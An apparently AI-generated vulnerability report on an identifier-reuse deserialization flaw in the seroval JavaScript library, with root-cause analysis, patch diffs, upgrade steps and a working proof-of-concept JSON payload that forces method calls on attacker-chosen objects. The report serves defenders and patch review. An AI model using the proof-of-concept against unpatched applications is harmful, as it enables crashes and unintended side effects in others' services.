CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-116580

CVE-2026-116580: Unvalidated Method Invocation via Identifier Reuse in Seroval Deserializer

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 29, 2026·12 min read·2 visits

Executive Summary (TL;DR)

An incomplete fix for CVE-2026-59940 in `seroval` (< 1.6.8) allows untrusted JSON AST inputs to reuse unmarked node IDs during `fromJSON` deserialization, tricking `AsyncIteratorFactoryInstance` into calling `source.on(listener)` on attacker-chosen objects or application plugin outputs.

Seroval versions prior to 1.6.8 contain an insecure deserialization vulnerability (CWE-502) in the `fromJSON` parser. When reconstructing `AsyncIteratorFactoryInstance` or `IteratorFactoryInstance` nodes, the deserializer verifies the source node type using its identifier in the AST lookup table rather than verifying the runtime identity of the deserialized object. Because unmarked node identifiers omitted from the `m` reference array can be reused in vanilla deserialization mode, an attacker can substitute an arbitrary plain object or plugin-produced value as the stream source. This causes the runtime to invoke `.on(listener)` on an attacker-controlled target.

Vulnerability Overview

Seroval (lxsmnsyc/seroval) is a JavaScript serialization library designed to stringify and reconstruct complex data types that standard JSON.stringify and JSON.parse cannot handle. These data types include Promise instances, Iterable and AsyncIterable sequences, circular references, Symbol instances, and custom internal Stream constructs. To support full-fidelity reconstruction across client-server boundaries or worker threads, Seroval compiles JavaScript values into a compact Abstract Syntax Tree (AST) represented as JSON, which can then be hydrated back into live JavaScript runtime objects via the fromJSON function.

When an application exposes an endpoint or message handler that passes untrusted input directly to fromJSON, the deserialization engine becomes a security-critical boundary. In versions prior to 1.6.8, the routines responsible for reconstructing synchronous and asynchronous iterators (deserializeIteratorFactoryInstance and deserializeAsyncIteratorFactoryInstance) contain a type verification flaw classified under CWE-502 (Deserialization of Untrusted Data).

This vulnerability is an incomplete-fix variant of CVE-2026-59940. The original patch for CVE-2026-59940 attempted to prevent forged stream objects by verifying that the AST node ID referenced as the iterator's data source had been previously recorded in the parser context with a valid stream or sequence node type (SerovalNodeType.StreamConstructor or SerovalNodeType.Sequence).

However, in Seroval's vanilla deserialization mode, node identifiers that are omitted from the top-level marked reference array (m) are not protected against identifier collisions or reuse. A crafted payload can register a legitimate stream or sequence node under a specific ID to satisfy the metadata table check, and subsequently reuse that exact ID for an arbitrary plain object or a value returned by a custom Seroval plugin. When fromJSON completes reconstruction of the async iterator, it invokes source.on(listener) on the substituted runtime object without confirming that source is an authentic internal Stream instance.

Root Cause Analysis

To understand the root cause of CVE-2026-116580, it is necessary to examine how Seroval tracks object references and validates internal constructs during AST traversal. Every serialized node in a Seroval JSON payload includes a numeric type tag (t) and an integer identifier (i). When an object is referenced multiple times within a serialized graph, its ID is added to the payload's reference table array m. During deserialization, the context tracks indexed values so shared references resolve to the same runtime instance.

In earlier versions of Seroval, internal streams and sequences were identified using duck-typed brand properties on plain JavaScript objects: { __SEROVAL_STREAM__: true } and { __SEROVAL_SEQUENCE__: true }. Because untrusted JSON payloads or application plugins could trivially forge plain objects containing those property keys, the maintainers introduced two mechanisms to enforce authenticity: node type tracking via validateNodeType and lexical class checks.

The flaw in deserializeAsyncIteratorFactoryInstance and deserializeIteratorFactoryInstance lies in separating the validation target (the node's integer ID node.a[1].i) from the actual deserialized runtime value (source). Specifically, the deserializer executed:

const source = deserialize(ctx, depth, node.a[1]);
validateNodeType(ctx, node, node.a[1].i, SerovalNodeType.StreamConstructor);

While guardIndexedValue prevents reusing an ID that is actively tracked in the m reference array, vanilla mode deserialization does not enforce uniqueness for unmarked IDs (IDs absent from m). When the parser first visits a genuine StreamConstructor node with i: 3, it records in its type map that ID 3 corresponds to SerovalNodeType.StreamConstructor. Because 3 is not in m, a subsequent AST node located inside node.a[1] of an AsyncIteratorFactoryInstance can also declare i: 3 while carrying a completely different type tag—such as a plain object (t: 10) or a custom plugin node.

When deserializeAsyncIteratorFactoryInstance processes node.a[1], deserialize(ctx, depth, node.a[1]) evaluates the second node and returns the forged object as source. Immediately afterward, validateNodeType checks the recorded node type for node.a[1].i (which is 3). Because the type map still associates ID 3 with the earlier StreamConstructor node, the validation succeeds. The deserializer then passes the unverified source object into streamToAsyncIterable(source), which immediately executes source.on({ next, throw, return }). If source is an object created by an application plugin that exposes an .on method, or a callable object with side effects, the runtime executes that method with the internal listener dictionary as its argument.

Code Analysis & Patch Walkthrough

The remediation for CVE-2026-116580 was implemented across two commits released in seroval@1.6.8. The first commit (3edc78b495ea0d6bd498143e5b3e56996607c5f2) replaced the forgeable __SEROVAL_STREAM__ and __SEROVAL_SEQUENCE__ marker properties with unexported ES6 classes (class Stream<T> and class Sequence). Because these classes are not exported outside the internal module scope, external plugins and plain object literals cannot instantiate them, making instanceof Stream and instanceof Sequence unforgeable runtime guards.

The second commit (50926b3ee198fb757e6ce3aa70efeed38d931c8d) directly addressed the identifier reuse bypass in packages/seroval/src/core/context/deserializer.ts. Instead of querying the AST metadata table via validateNodeType, the patched functions inspect the deserialized source value directly using isSequence(source) and isStream(source).

// BEFORE PATCH (Vulnerable implementation in packages/seroval/src/core/context/deserializer.ts)
function deserializeIteratorFactoryInstance(
  ctx: BaseDeserializerContext,
  depth: number,
  node: SerovalIteratorFactoryInstanceNode,
): unknown {
  deserialize(ctx, depth, node.a[0]);
  const source = deserialize(ctx, depth, node.a[1]);
  // VULNERABLE: Validates the ID's recorded node type in ctx rather than the
  // runtime identity of `source`. An unmarked ID omitted from `m` can be
  // claimed by a genuine Sequence node first, then reused by a forged node.
  validateNodeType(ctx, node, node.a[1].i, SerovalNodeType.Sequence);
  if (!source) {
    throw new SerovalMalformedNodeError(node.a[1]);
  }
  return sequenceToIterator(source as Sequence);
}
 
function deserializeAsyncIteratorFactoryInstance(
  ctx: BaseDeserializerContext,
  depth: number,
  node: SerovalAsyncIteratorFactoryInstanceNode,
): unknown {
  deserialize(ctx, depth, node.a[0]);
  const source = deserialize(ctx, depth, node.a[1]);
  // VULNERABLE: Checks `node.a[1].i` against SerovalNodeType.StreamConstructor.
  // Does not verify that `source` is an actual Stream class instance.
  validateNodeType(ctx, node, node.a[1].i, SerovalNodeType.StreamConstructor);
  if (!source) {
    throw new SerovalMalformedNodeError(node.a[1]);
  }
  return streamToAsyncIterable(source as Stream<unknown>);
}

In the patched implementation, validateNodeType is removed from both factory instance deserializers and replaced with isSequence and isStream predicate checks:

// AFTER PATCH (Fixed in commit 50926b3ee198fb757e6ce3aa70efeed38d931c8d)
function deserializeIteratorFactoryInstance(
  ctx: BaseDeserializerContext,
  depth: number,
  node: SerovalIteratorFactoryInstanceNode,
): unknown {
  deserialize(ctx, depth, node.a[0]);
  const source = deserialize(ctx, depth, node.a[1]);
  // FIXED: Verifies via `instanceof Sequence` that the runtime value `source`
  // is an authentic internal Sequence object before passing it to sequenceToIterator.
  if (!isSequence(source)) {
    throw new SerovalMalformedNodeError(node.a[1]);
  }
  return sequenceToIterator(source);
}
 
function deserializeAsyncIteratorFactoryInstance(
  ctx: BaseDeserializerContext,
  depth: number,
  node: SerovalAsyncIteratorFactoryInstanceNode,
): unknown {
  deserialize(ctx, depth, node.a[0]);
  const source = deserialize(ctx, depth, node.a[1]);
  // FIXED: Verifies via `instanceof Stream` that `source` is a genuine internal
  // Stream instance. Prevents fake streams or plugin objects from having `.on()` called.
  if (!isStream(source)) {
    throw new SerovalMalformedNodeError(node.a[1]);
  }
  return streamToAsyncIterable(source);
}

> [!NOTE] > Fix Completeness Assessment: Combining lexical class encapsulation (3edc78b495ea0d6bd498143e5b3e56996607c5f2) with direct runtime value checks (50926b3ee198fb757e6ce3aa70efeed38d931c8d) completely eliminates this bug class for iterator and async iterator factories. Because isStream and isSequence perform instanceof checks against unexported class constructors, no combination of AST identifier aliasing, unmarked reference reuse, or custom plugin deserialization can produce a value that passes the guard unless it was instantiated by Seroval's internal createStream or createSequence functions.

Exploitation Methodology & Proof of Concept

Exploiting CVE-2026-116580 requires an application to deserialize untrusted JSON data via fromJSON. To achieve meaningful security impact beyond throwing an unhandled TypeError (when source.on is undefined or not a function), the target application typically must configure fromJSON with custom Seroval plugins that can construct objects exposing an .on method (such as EventEmitter subclasses, stream wrappers, or RPC proxy objects) or construct plain objects whose properties interact with downstream code.

The attack consists of constructing a two-part Seroval AST inside an outer container object (t: 10). First, the payload defines a legitimate StreamConstructor node (t: 31) assigned an integer identifier i: 3, while deliberately omitting 3 from the top-level marked reference array m: [1]. When the deserializer walks the first element of the container array, it processes the StreamConstructor and registers ID 3 as a valid stream node in the context.

Second, in the adjacent branch of the container array, the payload places an AsyncIteratorFactoryInstance node (t: 30). The second argument of this node (node.a[1], which specifies the iterator's underlying stream source) is populated with a forged node that also carries i: 3. Because 3 is absent from m, the parser does not block the duplicate ID and evaluates the forged node instead.

import { fromJSON } from 'seroval';
 
// Helper that constructs an AST with a container object (id 0) and marked reference [1].
// ID 3 is intentionally excluded from `m` so it remains unmarked in vanilla mode.
function reusedIdTree(instance: unknown): Parameters<typeof fromJSON>[0] {
  return {
    t: {
      t: 10, // Plain object container
      i: 0,
      p: {
        k: ['a', { t: 17, i: 1, s: 3 }],
        v: [instance, null],
      },
      o: 0,
    },
    f: 0x7f,
    m: [1], // Only ID 1 is marked; ID 3 can be reused without triggering guardIndexedValue
  } as unknown as Parameters<typeof fromJSON>[0];
}
 
// Constructs a forged plain object (t: 10) reusing a target ID
function forgedSource(id: number): unknown {
  return {
    t: 10,
    i: id,
    p: {
      k: ['v', 't', 'd'],
      v: [
        { t: 9, i: 100, a: [{ t: 0, s: 1 }], o: 0 },
        { t: 0, s: -1 },
        { t: 1, s: 'x' },
      ],
    },
    o: 0,
  };
}
 
// 1. Place a genuine StreamConstructor (t: 31) with ID 3 in slot v[0]
const json = reusedIdTree({
  t: 31,
  i: 3,
  a: [],
  f: { t: 26, i: 5, s: 4 },
});
 
// 2. Place an AsyncIteratorFactoryInstance (t: 30) in slot v[1]
// Its source argument (a[1]) reuses ID 3 via forgedSource(3)
(json.t as unknown as { p: { v: unknown[] } }).p.v[1] = {
  t: 30,
  a: [
    { t: 29, i: 2, a: [{ t: 26, i: 6, s: 1 }, { t: 4, i: 1 }] },
    forgedSource(3),
  ],
};
 
// In seroval < 1.6.8, validateNodeType passes for ID 3, and streamToAsyncIterable
// attempts to invoke source.on(...) on the forged object (or plugin return value).
// In seroval >= 1.6.8, isStream(source) returns false and throws SerovalMalformedNodeError.
fromJSON(json);

If an application plugin is registered in the plugins option of fromJSON, the attacker can replace forgedSource(3) with a plugin node (SerovalNodeType.Plugin) assigned i: 3. When fromJSON runs, the plugin deserializes its payload and returns a domain-specific object or function. streamToAsyncIterable then immediately invokes .on({ next, throw, return }) on that plugin-produced instance, triggering unexpected event listener registration or arbitrary callback execution.

Impact Assessment

CVE-2026-116580 carries a CVSS v3.1 base score of 7.3 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L. The Attack Vector is Network (AV:N) and requires neither privileges (PR:N) nor user interaction (UI:N) because Seroval is frequently integrated into full-stack JavaScript frameworks, server-side rendering (SSR) state hydration pipelines, and RPC layers that parse serialized JSON requests over HTTP or WebSockets.

The Attack Complexity is Low (AC:L) because the identifier reuse behavior is deterministic and does not depend on memory layout or timing conditions. Any endpoint passing client-controlled JSON AST structures to fromJSON in vanilla mode is directly reachable.

The Confidentiality (C:L), Integrity (I:L), and Availability (A:L) impacts are rated as Low because the exact consequences of invoking source.on(listener) depend on the capabilities of the objects available within the target application's deserialization context:

  • Without Custom Plugins (Availability Impact): Substituting a plain object without a callable .on property causes streamToAsyncIterable to throw an unhandled TypeError: source.on is not a function instead of a structured SerovalError, which can crash the worker process or terminate request handling if the application only catches Seroval-specific exception classes.
  • With Custom Application Plugins (Confidentiality & Integrity Impact): If an application uses seroval-plugins or custom plugins that deserialize objects exposing an .on method (such as Node.js EventEmitter instances, database connection wrappers, message bus clients, or reactive stores), the attacker can force the runtime to attach an internal stream listener or invoke side-effecting .on() logic during deserialization.

Remediation & Mitigation Guidance

Organizations and developers using seroval or seroval-plugins should upgrade immediately to version 1.6.8 or later. Version 1.6.8 incorporates both the unexported Stream and Sequence class wrappers and the runtime isStream/isSequence validation checks in fromJSON.

# Upgrade using npm
npm install seroval@^1.6.8 seroval-plugins@^1.6.8
 
# Upgrade using yarn
yarn add seroval@^1.6.8 seroval-plugins@^1.6.8
 
# Upgrade using pnpm
pnpm add seroval@^1.6.8 seroval-plugins@^1.6.8

In environments where dependencies are bundled transitively through meta-frameworks or RPC libraries, inspect the lockfile (package-lock.json, yarn.lock, or pnpm-lock.yaml) to verify that all resolved instances of seroval are at least 1.6.8. Use package manager overrides (overrides in package.json or resolutions in Yarn) if an upstream framework pins an older 1.x release.

If immediate patching is not feasible, apply the following architectural mitigations to reduce exposure:

  1. Restrict Deserialization of Untrusted Input: Do not pass unauthenticated or client-supplied JSON payloads into fromJSON. If client-to-server communication only requires standard JSON data types, use native JSON.parse instead of Seroval.
  2. Audit Custom Deserialization Plugins: Review all custom plugins passed to fromJSON(..., { plugins: [...] }). Ensure that no plugin deserialize callback returns callable functions or objects with an .on method that performs privileged state changes or I/O operations.
  3. Enforce Structural Validation on AST Inputs: Before invoking fromJSON, inspect incoming AST payloads and reject any payload containing AsyncIteratorFactoryInstance (t: 30) or IteratorFactoryInstance (t: 28) nodes if the application does not require streaming iterator deserialization.

Official Patches

lxsmnsyc (GitHub)Seroval 1.6.8 Release Notes
lxsmnsyc (GitHub)Official GitHub Security Advisory GHSA-7rv5-mrxv-xcr9

Fix Analysis (2)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
EPSS Probability
0.34%
Top 72% most exploited

Affected Systems

serovalseroval-plugins

Affected Versions Detail

Product
Affected Versions
Fixed Version
seroval
lxsmnsyc
< 1.6.81.6.8
seroval-plugins
lxsmnsyc
< 1.6.81.6.8
AttributeDetail
Vulnerability TypeCWE-502: Deserialization of Untrusted Data
Affected Componentseroval / seroval-plugins (< 1.6.8) fromJSON deserializer
Attack VectorNetwork (AV:N) via crafted Seroval JSON AST payload
CVSS v3.1 Score7.3 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
EPSS Score0.34% (27.60th percentile)
ImpactArbitrary .on(listener) invocation on attacker-selected or plugin-produced objects
Exploit StatusProof-of-Concept (Regression test suite reproduction)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-502
Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid, enabling attackers to trigger unexpected method invocations or state changes.

Vulnerability Timeline

Fix commit 3edc78b495ea0d6bd498143e5b3e56996607c5f2 authored to replace stream/sequence marker properties with internal classes.
2026-09-28
Fix commit 50926b3ee198fb757e6ce3aa70efeed38d931c8d authored to validate iterator source runtime values instead of node IDs.
2026-09-28
GitHub Security Advisory GHSA-7rv5-mrxv-xcr9 and CVE-2026-116580 officially published.
2026-10-26
EPSS score initialized at 0.00342 (27.60th percentile).
2026-10-28

References & Sources

  • [1]GitHub Security Advisory GHSA-7rv5-mrxv-xcr9
  • [2]Commit 3edc78b495ea0d6bd498143e5b3e56996607c5f2: fix: use internal classes for stream and sequence identity
  • [3]Commit 50926b3ee198fb757e6ce3aa70efeed38d931c8d: fix: check iterator source values instead of node ids
  • [4]Seroval Release 1.6.8
  • [5]NVD - CVE-2026-116580
  • [6]CVE.org Record - CVE-2026-116580
  • [7]CVEListV5 JSON Record - CVE-2026-116580
Related Vulnerabilities
CVE-2026-59940

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•25 minutes ago•CVE-2026-115910
6.8

CVE-2026-115910: OpenID Connect Session-Binding Bypass and Account Takeover in Python Social Auth

A session-binding vulnerability in Python Social Auth (social-core) versions prior to 6.2.0 allows an attacker to perform authorization code injection against the OpenID Connect authentication backend. By storing generated OIDC nonces in a global database table without binding them to the initiating browser session, the library accepts any valid, unexpired nonce returned in an ID token regardless of which session originated the authentication transaction. When combined with the default disablement of Proof Key for Code Exchange (PKCE), an attacker who intercepts an unused authorization code can inject it into their own authentication flow to achieve full account takeover.

Amit Schendel
Amit Schendel
2 views•13 min read
•about 1 hour ago•CVE-2026-111497
9.8

CVE-2026-111497: Out-of-Bounds Heap Write and Remote Code Execution in Google Brotli Decoder (Node2Shell)

CVE-2026-111497, tracked in threat intelligence under the aliases Node2Shell, Broccoli2Shell, and HTTP2Shell, is a critical out-of-bounds heap write and denial-of-service vulnerability in the reference Google Brotli decompression library (c/dec/decode.c). The flaw originates from an unchecked return value and error-code conflation in DecodeBlockTypeAndLength() when processing malformed streams with single-block-type declarations (max_block_type <= 1). On the fast decoding path, the ignored error return causes the 32-bit unsigned block_length counter to underflow from 0 to UINT32_MAX (0xFFFFFFFF), corrupting internal decoder tables and enabling arbitrary heap memory overwrites via memmove16(). On the streaming path, the error return is misinterpreted as an incomplete bit-stream, trapping the worker process in an infinite 100% CPU loop. Because Google Brotli is embedded across major runtimes and infrastructure components—including Node.js, Envoy Proxy, Microsoft .NET, Istio, and Python—the vulnerability exposes a broad attack surface via standard HTTP Content-Encoding: br request and response bodies.

Amit Schendel
Amit Schendel
3 views•12 min read
•about 1 hour ago•CVE-2026-116575
6.3

CVE-2026-116575: Cross-Tenant Conversation Disclosure via Delimiter Injection in Mem0

CVE-2026-116575 (GHSA-5324-3w58-qpp2) is an unescaped delimiter injection and canonicalization flaw in the Mem0 persistent memory platform for AI agents and applications. Prior to Python SDK version 2.0.18 and TypeScript SDK version 3.1.6, the session scope key construction functions join caller-controlled user_id, agent_id, and run_id identifiers using raw '=' and '&' delimiters without sanitization. An attacker who controls one of these identifiers in a multi-tenant deployment can inject delimiter sequences to force a string collision with a target tenant's session scope key, resulting in unauthorized disclosure, poisoning, or eviction of the target tenant's recent conversation buffer.

Alon Barad
Alon Barad
3 views•9 min read
•about 3 hours ago•CVE-2026-116584
7.5

CVE-2026-116584: Denial of Service via Unvalidated Node Element Lists in Seroval

A Denial of Service (DoS) vulnerability exists in the Seroval JavaScript serialization library affecting versions 1.4.1 through 1.6.7. The deserialization routines fromJSON and fromCrossJSON fail to verify that node element lists are actual JavaScript Array primitives before reading their length property. An unauthenticated remote attacker can supply a compact, malformed JSON payload containing an array-like object with an arbitrary length value, causing unbounded memory allocation and synchronous loop iterations that block the event loop or crash the process via heap exhaustion.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 4 hours ago•CVE-2026-116581
7.5

CVE-2026-116581: Unauthenticated Event-Loop Denial of Service via Unvalidated Sequence Indices in Seroval

Seroval, a JavaScript serialization library used for transferring complex structures across network boundaries, contains an input validation vulnerability in versions prior to 1.6.8. The `fromJSON` and `fromCrossJSON` deserializers fail to validate array element lists and the termination boundaries (`done` and `throw` indices) of sequence nodes. By supplying out-of-bounds indices or forged array-like structures, an unauthenticated remote attacker can construct an iterator with an unreachable exit condition or trigger excessive loop iterations, halting the single-threaded JavaScript event loop and causing a denial of service.

Amit Schendel
Amit Schendel
7 views•10 min read
•about 5 hours ago•CVE-2026-116582
4.7

CVE-2026-116582: Cross-Site Scripting via Unescaped RegExp Serialization in Seroval

CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.

Amit Schendel
Amit Schendel
4 views•11 min read